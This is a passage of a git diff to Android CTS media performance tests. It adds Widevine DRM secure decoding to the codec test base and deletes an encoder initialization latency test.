+ * (create + configure + start + first frame to dequeue).
+ */
+ static class DecoderInitializationLatency extends CodecDecoderTestBase {
+ private static final String LOG_TAG = DecoderInitializationLatency.class.getSimpleName();
+
+ private final String mDecoderName;
+ private final boolean mIsAsync;
+
+ DecoderInitializationLatency(String mediaType, String decoderName, String testFile,
+ boolean isAsync, boolean surfaceMode) {
+ super(mediaType, testFile);
+ mDecoderName = decoderName;
+ mIsAsync = isAsync;
+ mSurface = mIsAudio ? null :
+ surfaceMode ? MediaCodec.createPersistentInputSurface() : null;
+ }
+
+ public long calculateInitLatency() throws Exception {
+ MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+ MediaFormat format = setUpSource(mTestFile);
+ long enqueueTimeStamp = 0;
+ long dequeueTimeStamp = 0;
+ long baseTimeStamp = SystemClock.elapsedRealtimeNanos();
+ mCodec = MediaCodec.createByCodecName(mDecoderName);
+ resetContext(mIsAsync, false);
+ mAsyncHandle.setCallBack(mCodec, mIsAsync);
+ mCodec.configure(format, mSurface, 0, null);
+ long configureTimeStamp = SystemClock.elapsedRealtimeNanos();
+ mCodec.start();
+ long startTimeStamp = SystemClock.elapsedRealtimeNanos();
+ if (mIsAsync) {
+ // We will keep on feeding the input to decoder until we see the first dequeued
+ // frame.
+ while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+ Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+ if (element != null) {
+ int bufferID = element.first;
+ MediaCodec.BufferInfo info = element.second;
+ if (info != null) {
+ dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ dequeueOutput(bufferID, info);
+ break;
+ } else {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ }
+ enqueueInput(bufferID);
+ }
+ }
+ }
+ } else {
+ while (!mSawOutputEOS) {
+ if (!mSawInputEOS) {
+ int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+ if (inputBufferId >= 0) {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ }
+ enqueueInput(inputBufferId);
+ }
+ }
+ int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+ if (outputBufferId >= 0) {
+ dequeueTimeStamp = SystemClock.elapsedRealtimeNanos();
+ dequeueOutput(outputBufferId, outInfo);
+ break;
+ }
+ }
+ }
+ queueEOS();
+ waitForAllOutputs();
+ mCodec.stop();
+ mCodec.release();
+ if (mSurface != null) {
+ mSurface.release();
+ }
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure) in ns: " +
+ (configureTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure + start) in ns: " +
+ (startTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure + start + first frame to enqueue) in ns: " +
+ (enqueueTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure + start + first frame to dequeue) in ns: " +
+ (dequeueTimeStamp - baseTimeStamp));
+ long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+ return timeToConfigureMs;
+ }
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
index c6a0c60..337b194 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
@@ -18,6 +18,7 @@
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -26,8 +27,12 @@
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
import android.media.MediaCodecList;
+import android.media.MediaCrypto;
+import android.media.MediaDrm;
import android.media.MediaExtractor;
import android.media.MediaFormat;
+import android.media.NotProvisionedException;
+import android.media.ResourceBusyException;
import android.os.Build;
import android.util.Log;
import android.util.Pair;
@@ -42,7 +47,11 @@
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.ArrayList;
+import java.util.HashSet;
import java.util.LinkedList;
+import java.util.Set;
+import java.util.Map;
+import java.util.UUID;
import java.util.concurrent.Callable;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
@@ -178,6 +187,8 @@
static final int SELECT_ALL = 0; // Select all codecs
static final int SELECT_HARDWARE = 1; // Select Hardware codecs only
static final int SELECT_SOFTWARE = 2; // Select Software codecs only
+ static final int SELECT_AUDIO = 3; // Select Audio codecs only
+ static final int SELECT_VIDEO = 4; // Select Video codecs only
// Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
@@ -203,7 +214,7 @@
abstract void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info);
void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
- boolean isEncoder) {
+ boolean isEncoder) throws Exception {
resetContext(isAsync, signalEOSWithLastFrame);
mAsyncHandle.setCallBack(mCodec, isAsync);
// signalEOS flag has nothing to do with configure. We are using this flag to try all
@@ -339,12 +350,23 @@
static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
String[] features, boolean isEncoder) {
- return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE);
+ return selectHardwareCodecs(mime, formats, features, isEncoder, false);
+ }
+
+ static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
+ String[] features, boolean isEncoder, boolean allCodecs) {
+ return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE, allCodecs);
}
static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
String[] features, boolean isEncoder, int selectCodecOption) {
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ return selectCodecs(mime, formats, features, isEncoder, selectCodecOption, false);
+ }
+
+ static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
+ String[] features, boolean isEncoder, int selectCodecOption, boolean allCodecs) {
+ int kind = allCodecs ? MediaCodecList.ALL_CODECS : MediaCodecList.REGULAR_CODECS;
+ MediaCodecList codecList = new MediaCodecList(kind);
MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
ArrayList<String> listOfCodecs = new ArrayList<>();
for (MediaCodecInfo codecInfo : codecInfos) {
@@ -382,25 +404,61 @@
}
return listOfCodecs;
}
+
+ static Set<String> getMimesOfAvailableCodecs(int codecAV, int codecType) {
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+ Set<String> listOfMimes = new HashSet<>();
+ for (MediaCodecInfo codecInfo : codecInfos) {
+ if (codecType == SELECT_HARDWARE && !codecInfo.isHardwareAccelerated()) {
+ continue;
+ }
+ if (codecType == SELECT_SOFTWARE && !codecInfo.isSoftwareOnly()) {
+ continue;
+ }
+ String[] types = codecInfo.getSupportedTypes();
+ for (String type : types) {
+ if (codecAV == SELECT_AUDIO && !type.startsWith("audio/")) {
+ continue;
+ }
+ if (codecAV == SELECT_VIDEO && !type.startsWith("video/")) {
+ continue;
+ }
+ listOfMimes.add(type);
+ }
+ }
+ return listOfMimes;
+ }
}
class CodecDecoderTestBase extends CodecTestBase {
private static final String LOG_TAG = CodecDecoderTestBase.class.getSimpleName();
+ // Widevine Content Protection Identifier https://dashif.org/identifiers/content_protection/
+ public static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
String mMime;
String mTestFile;
boolean mIsInterlaced;
+ boolean mSecureMode;
+ byte[] mSessionID;
ArrayList<ByteBuffer> mCsdBuffers;
MediaExtractor mExtractor;
+ MediaDrm mDrm = null;
+ MediaCrypto mCrypto = null;
- CodecDecoderTestBase(String mime, String testFile) {
+ CodecDecoderTestBase(String mime, String testFile, boolean secureMode) {
mMime = mime;
mTestFile = testFile;
mAsyncHandle = new CodecAsyncHandler();
mCsdBuffers = new ArrayList<>();
mIsAudio = mMime.startsWith("audio/");
+ mSecureMode = secureMode;
+ }
+
+ CodecDecoderTestBase(String mime, String testFile) {
+ this(mime, testFile, false);
}
MediaFormat setUpSource(String srcFile) throws IOException {
@@ -411,6 +469,75 @@
return format.containsKey("csd-0");
}
+ private byte[] openSession(MediaDrm drm) {
+ byte[] sessionId = null;
+ int retryCount = 3;
+ while (retryCount-- > 0) {
+ try {
+ sessionId = drm.openSession();
+ break;
+ } catch (NotProvisionedException eNotProvisioned) {
+ Log.i(LOG_TAG, "Missing certificate, provisioning");
+ try {
+ final ProvisionRequester provisionRequester = new ProvisionRequester(drm);
+ provisionRequester.send();
+ } catch (Exception e) {
+ Log.e(LOG_TAG, "Provisioning fails because " + e.toString());
+ }
+ } catch (ResourceBusyException eResourceBusy) {
+ Log.w(LOG_TAG, "Resource busy in openSession, retrying...");
+ try {
+ Thread.sleep(1000);
+ } catch (Exception ignored) {
+ }
+ }
+ }
+ return sessionId;
+ }
+
+ void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
+ boolean isEncoder, String serverURL) throws Exception {
+ resetContext(isAsync, signalEOSWithLastFrame);
+ mAsyncHandle.setCallBack(mCodec, isAsync);
+ if (mSecureMode && serverURL != null) {
+ if (mDrm == null) {
+ mDrm = new MediaDrm(WIDEVINE_UUID);
+ }
+ if (mCrypto == null) {
+ mSessionID = openSession(mDrm);
+ assertNotNull("Failed to provision device.", mSessionID);
+ mCrypto = new MediaCrypto(WIDEVINE_UUID, mSessionID);
+ }
+ mCodec.configure(format, mSurface, mCrypto,
+ isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+
+ Map<UUID, byte[]> psshInfo = mExtractor.getPsshInfo();
+ assertNotNull("Extractor is missing pssh info", psshInfo);
+ byte[] emeInitData = psshInfo.get(WIDEVINE_UUID);
+ assertNotNull("Extractor pssh info is missing data for scheme: " + WIDEVINE_UUID,
+ emeInitData);
+ KeyRequester requester =
+ new KeyRequester(mDrm, mSessionID, MediaDrm.KEY_TYPE_STREAMING, mMime,
+ emeInitData, serverURL, WIDEVINE_UUID);
+ requester.send();
+ return;
+ }
+ // signalEOS flag has nothing to do with configure. We are using this flag to try all
+ // available configure apis
+ if (signalEOSWithLastFrame) {
+ mCodec.configure(format, mSurface, null,
+ isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+ } else {
+ mCodec.configure(format, mSurface, isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0,
+ null);
+ }
+ }
+
+ void configureCodec(MediaFormat format, boolean isAsync, boolean signalEOSWithLastFrame,
+ boolean isEncoder) throws Exception {
+ configureCodec(format, isAsync, signalEOSWithLastFrame, isEncoder, null);
+ }
+
MediaFormat setUpSource(String prefix, String srcFile) throws IOException {
mExtractor = new MediaExtractor();
mExtractor.setDataSource(prefix + srcFile);
@@ -447,11 +574,17 @@
if ((extractorFlags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
codecFlags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
}
+ MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
+ boolean isEncrypted = mExtractor.getSampleCryptoInfo(info);
if (!mExtractor.advance() && mSignalEOSWithLastFrame) {
codecFlags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
mSawInputEOS = true;
}
- mCodec.queueInputBuffer(bufferIndex, 0, size, pts, codecFlags);
+ if (mSecureMode && isEncrypted) {
+ mCodec.queueSecureInputBuffer(bufferIndex, 0, info, pts, codecFlags);
+ } else {
+ mCodec.queueInputBuffer(bufferIndex, 0, size, pts, codecFlags);
+ }
if (size > 0 && (codecFlags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
mInputCount++;
}
@@ -669,20 +802,30 @@
private static final String LOG_TAG = Decode.class.getSimpleName();
final String mDecoderName;
+ static final String WIDEVINE_LICENSE_SERVER_URL = "https://proxy.uat.widevine.com/proxy";
+ static final String PROVIDER = "widevine_test";
+ final String mServerURL =
+ String.format("%s?video_id=%s&provider=%s", WIDEVINE_LICENSE_SERVER_URL,
+ "GTS_HW_SECURE_ALL", PROVIDER);
final boolean mIsAsync;
Decode(String mime, String testFile, String decoderName, boolean isAsync) {
+ this(mime, testFile,decoderName, isAsync, false);
+ }
+
+ Decode(String mime, String testFile, String decoderName, boolean isAsync, boolean secureMode) {
super(mime, testFile);
mDecoderName = decoderName;
mSurface = MediaCodec.createPersistentInputSurface();
mIsAsync = isAsync;
+ mSecureMode = secureMode;
}
public Double doDecode() throws Exception {
MediaFormat format = setUpSource(mTestFile);
mCodec = MediaCodec.createByCodecName(mDecoderName);
mExtractor.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
- configureCodec(format, mIsAsync, false, false);
+ configureCodec(format, mIsAsync, false, false, mServerURL);
mCodec.start();
long start = System.currentTimeMillis();
doWork(Integer.MAX_VALUE);
@@ -692,6 +835,12 @@
mCodec.stop();
mCodec.release();
mExtractor.release();
+ if (mCrypto != null) {
+ mCrypto.release();
+ }
+ if (mDrm != null) {
+ mDrm.close();
+ }
double fps = mOutputCount / ((end - start) / 1000.0);
Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
" Achieved fps: " + fps);
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
deleted file mode 100644
index ae09b14..0000000
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ /dev/null
@@ -1,507 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import static android.mediapc.cts.CodecTestBase.selectCodecs;
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
-import android.util.Pair;
-import android.view.Surface;
-
-import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * The following test class validates the codec initialization latency (time for codec create +
- * configure) for the audio encoders and hardware video encoders available in the device, under the
- * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
- */
-@RunWith(Parameterized.class)
-public class EncoderInitializationLatencyTest {
- private static final String LOG_TAG = EncoderInitializationLatencyTest.class.getSimpleName();
- private static final boolean[] boolStates = {false, true};
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS = 50;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS = 65;
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS = 40;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS = 50;
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS = 30;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS = 40;
-
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
- private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
- private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
- private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
- private static String AVC_DECODER_NAME;
- private static String AVC_ENCODER_NAME;
-
- static {
- if (Utils.isRPerfClass()) {
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS;
- MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS;
- } else if (Utils.isSPerfClass()) {
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS;
- MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS;
- } else {
- // Performance class Build.VERSION_CODES.TIRAMISU and beyond
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS;
- MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS;
- }
- }
-
- private final String mMime;
- private final String mEncoderName;
-
- private LoadStatus mTranscodeLoadStatus = null;
- private Thread mTranscodeLoadThread = null;
- private MediaRecorder mMediaRecorderLoad = null;
- private File mTempRecordedFile = null;
- private Surface mSurface = null;
- private Exception mException = null;
-
- @Before
- public void setUp() throws Exception {
- Utils.assumeDeviceMeetsPerformanceClassPreconditions();
-
- ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
- assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
- AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
-
- ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
- assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
- AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
-
- Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- Context context = instrumentation.getTargetContext();
- PackageManager packageManager = context.getPackageManager();
- assertNotNull(packageManager.getSystemAvailableFeatures());
- assumeTrue("The device doesn't have a camera",
- packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
- assumeTrue("The device doesn't have a microphone",
- packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
- createSurface();
- startLoad();
- }
-
- @After
- public void tearDown() throws Exception {
- stopLoad();
- releaseSurface();
- }
-
- public EncoderInitializationLatencyTest(String mimeType, String encoderName) {
- mMime = mimeType;
- mEncoderName = encoderName;
- }
-
- @Rule
- public ActivityTestRule<TestActivity> mActivityRule =
- new ActivityTestRule<>(TestActivity.class);
-
- // Returns the list of all available hardware video encoders in the device.
- static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
- ArrayList<String> listOfMimes = new ArrayList<>();
- for (MediaCodecInfo codecInfo : codecInfos) {
- if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
- String[] types = codecInfo.getSupportedTypes();
- for (String type : types) {
- if (type.startsWith("video/") && !listOfMimes.contains(type)) {
- listOfMimes.add(type);
- }
- }
- }
- return listOfMimes;
- }
-
- // Returns the list of all available audio encoders in the device.
- static ArrayList<String> getMimesOfAvailableAudioEncoders() {
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
- ArrayList<String> listOfMimes = new ArrayList<>();
- for (MediaCodecInfo codecInfo : codecInfos) {
- if (!codecInfo.isEncoder()) continue;
- String[] types = codecInfo.getSupportedTypes();
- for (String type : types) {
- if (type.startsWith("audio/") && !listOfMimes.contains(type)) {
- listOfMimes.add(type);
- }
- }
- }
- return listOfMimes;
- }
-
- // Returns the list of parameters with mimetype and their encoder(for audio - all encoders,
- // video - hardware encoders).
- // Parameters {0}_{1} -- Mime_EncoderName
- @Parameterized.Parameters(name = "{index}({0}_{1})")
- public static Collection<Object[]> inputParams() {
- // Prepares the params list with the required Hardware video encoders and all available
- // audio encoders present in the device.
- final List<Object[]> argsList = new ArrayList<>();
- ArrayList<String> mimesList = getMimesOfAvailableHardwareVideoEncoders();
- mimesList.addAll(getMimesOfAvailableAudioEncoders());
- for (String mime : mimesList) {
- ArrayList<String> listOfEncoders;
- if (mime.startsWith("audio/")) {
- listOfEncoders = selectCodecs(mime, null, null, true);
- } else {
- listOfEncoders = selectHardwareCodecs(mime, null, null, true);
- }
- for (String encoder : listOfEncoders) {
- argsList.add(new Object[]{mime, encoder});
- }
- }
- return argsList;
- }
-
- private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
- MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
- .getContext());
- mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
- mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
- mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
- mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
- mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
- MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
- mediaRecorder.setOutputFile(mTempRecordedFile);
- mediaRecorder.setVideoSize(1920, 1080);
- mediaRecorder.setOrientationHint(0);
- mediaRecorder.setPreviewDisplay(surface);
- mediaRecorder.prepare();
- return mediaRecorder;
- }
-
- private void startLoad() throws Exception {
- // TODO: b/183671436
- // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
- mTranscodeLoadStatus = new LoadStatus();
- mTranscodeLoadThread = new Thread(() -> {
- try {
- TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
- AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
- transcodeLoad.doTranscode();
- } catch (Exception e) {
- mException = e;
- }
- });
- // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
- // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
- mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
- mTempRecordedFile.createNewFile();
- mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
- // Start the Loads
- mTranscodeLoadThread.start();
- mMediaRecorderLoad.start();
- }
-
- private void stopLoad() throws Exception {
- if (mTranscodeLoadStatus != null) {
- mTranscodeLoadStatus.setLoadFinished();
- mTranscodeLoadStatus = null;
- }
- if (mTranscodeLoadThread != null) {
- mTranscodeLoadThread.join();
- mTranscodeLoadThread = null;
- }
- if (mMediaRecorderLoad != null) {
- // Note that a RuntimeException is intentionally thrown to the application, if no valid
- // audio/video data has been received when stop() is called. This happens if stop() is
- // called immediately after start(). So sleep for 1000ms inorder to make sure some
- // data has been received between start() and stop().
- Thread.sleep(1000);
- mMediaRecorderLoad.stop();
- mMediaRecorderLoad.release();
- mMediaRecorderLoad = null;
- if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
- mTempRecordedFile.delete();
- mTempRecordedFile = null;
- }
- }
- if (mException != null) throw mException;
- }
-
- private void createSurface() throws InterruptedException {
- mActivityRule.getActivity().waitTillSurfaceIsCreated();
- mSurface = mActivityRule.getActivity().getSurface();
- assertTrue("Surface created is null.", mSurface != null);
- assertTrue("Surface created is invalid.", mSurface.isValid());
- mActivityRule.getActivity().setScreenParams(1920, 1080, true);
- }
-
- private void releaseSurface() {
- if (mSurface != null) {
- mSurface.release();
- mSurface = null;
- }
- }
-
- /**
- * This test validates that the initialization latency(time for codec create + configure)
- * for the audio encoders <= 30ms and for video encoders <= 40ms measuring 10 times in
- * succession(5 times alternating sync and async modes). This also logs the stats min, max, avg
- * of the encoder initialization latencies.
- */
- @LargeTest
- @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
- @CddTest(requirement = "2.2.7.1/5.1/H-1-7,H-1-8")
- public void testInitializationLatency() throws Exception {
- final int NUM_MEASUREMENTS = 5;
- // Test gathers initialization latency for a number of iterations and
- // percentile is a variable used to control how many of these iterations
- // need to meet the pass criteria. For NUM_MEASUREMENTS at 5, sync and Async
- // modes which is a total of 10 iterations, this translates to index 7.
- final int percentile = 70;
- long expectedMaxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS : MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
- long sumOfEncoderInitializationLatencyMs = 0;
- int count = 0;
- long[] encoderInitializationLatencyMs = new long[NUM_MEASUREMENTS * boolStates.length];
- for (int i = 0; i < NUM_MEASUREMENTS; i++) {
- for (boolean isAsync : boolStates) {
- EncoderInitializationLatency encoderInitializationLatency =
- new EncoderInitializationLatency(mMime, mEncoderName, isAsync);
- long latency = encoderInitializationLatency.calculateEncoderInitializationLatency();
- encoderInitializationLatencyMs[count] = latency;
- sumOfEncoderInitializationLatencyMs += latency;
- count++;
- }
- }
- Arrays.sort(encoderInitializationLatencyMs);
-
- String statsLog = String.format("CodecInitialization latency for mime: %s, " +
- "Encoder: %s, in Ms :: ", mMime, mEncoderName);
- Log.i(LOG_TAG, "Min " + statsLog + encoderInitializationLatencyMs[0]);
- Log.i(LOG_TAG, "Max " + statsLog + encoderInitializationLatencyMs[count - 1]);
- Log.i(LOG_TAG, "Avg " + statsLog + (sumOfEncoderInitializationLatencyMs / count));
- long initializationLatency = encoderInitializationLatencyMs[percentile * count / 100];
- if (Utils.isPerfClass()) {
- String errorLog = String.format(
- "CodecInitialization latency for mime: %s, Encoder: %s is not as expected. "
- + "act/exp in Ms :: %d/%d", mMime, mEncoderName, initializationLatency,
- expectedMaxCodecInitializationLatencyMs);
- assertTrue(errorLog, initializationLatency <= expectedMaxCodecInitializationLatencyMs);
- } else {
- int pc;
- if (mMime.startsWith("audio/")) {
- pc = initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS ?
- Build.VERSION_CODES.TIRAMISU :
- initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS ?
- Build.VERSION_CODES.S : initializationLatency <
- MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS ?
- Build.VERSION_CODES.R : 0;
- } else {
- pc = initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS ?
- Build.VERSION_CODES.TIRAMISU :
- initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS ?
- Build.VERSION_CODES.S : initializationLatency <
- MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS ?
- Build.VERSION_CODES.R : 0;
- }
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "InitializationLatency_" + mEncoderName);
- log.addValue("encoder", mEncoderName, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("initialization_latency", initializationLatency, ResultType.LOWER_BETTER,
- ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-7,H-1-8 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
- }
- }
-}
-
-/**
- * The following class calculates the encoder initialization latency (time for codec create +
- * configure). And also logs the time taken by the encoder for:
- * (create + configure + start),
- * (create + configure + start + first frame to enqueue),
- * (create + configure + start + first frame to dequeue).
- */
-class EncoderInitializationLatency extends CodecEncoderTestBase {
- private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
-
- private final String mEncoderName;
- private final boolean mIsAsync;
-
- EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
- super(mime);
- mEncoderName = encoderName;
- mIsAsync = isAsync;
- mSampleRate = 8000;
- mFrameRate = 60;
- }
-
- private MediaFormat setUpFormat() throws IOException {
- MediaFormat format = new MediaFormat();
- format.setString(MediaFormat.KEY_MIME, mMime);
- if (mIsAudio) {
- if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
- format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
- } else {
- format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
- }
- format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
- format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
- } else {
- MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
